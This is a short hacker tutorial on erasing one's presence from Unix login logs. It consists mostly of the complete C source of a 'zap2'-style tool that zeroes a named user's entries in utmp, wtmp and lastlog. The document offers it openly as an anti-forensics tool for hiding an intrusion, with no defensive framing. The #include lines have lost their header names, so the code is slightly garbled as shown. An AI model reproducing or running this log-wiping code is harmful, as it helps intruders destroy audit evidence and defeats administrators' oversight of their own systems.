Erasing Your Presence From System Logs

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.



Example:



#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"



int f;



void kill_utmp(who)

char *who;

{

    struct utmp utmp_ent;



  if ((f=open(UTMP_NAME,O_RDWR))>=0) {

        while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

                          bzero((char *)&utmp_ent,sizeof( utmp_ent ));

                          lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

                          write (f, &utmp_ent, sizeof (utmp_ent));

                  }

        close(f);

  }

}



void kill_wtmp(who)

char *who;

{

    struct utmp utmp_ent;

    long pos;



    pos = 1L;

    if ((f=open(WTMP_NAME,O_RDWR))>=0) {



        while(pos != -1L) {

           lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

           if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

                pos = -1L;

           } else {

                if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

                        bzero((char *)&utmp_ent,sizeof(struct utmp ));

                        lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

                        write (f, &utmp_ent, sizeof (utmp_ent));

                        pos = -1L;

                } else pos += 1L;

           }

        }

        close(f);

  }

}



void kill_lastlog(who)

char *who;

{

    struct passwd *pwd;

    struct lastlog newll;



        if ((pwd=getpwnam(who))!=NULL) {



           if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

                  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

                  bzero((char *)&newll,sizeof( newll ));

                  write(f, (char *)&newll, sizeof( newll ));

                  close(f);

           }



    } else printf("%s: ?\n",who);

}



main(argc,argv)

int argc;

char *argv[];

{

    if (argc==2) {

           kill_lastlog(argv[1]);

           kill_wtmp(argv[1]);

           kill_utmp(argv[1]);

           printf("Zap2!\n");

    } else

    printf("Error.\n");

}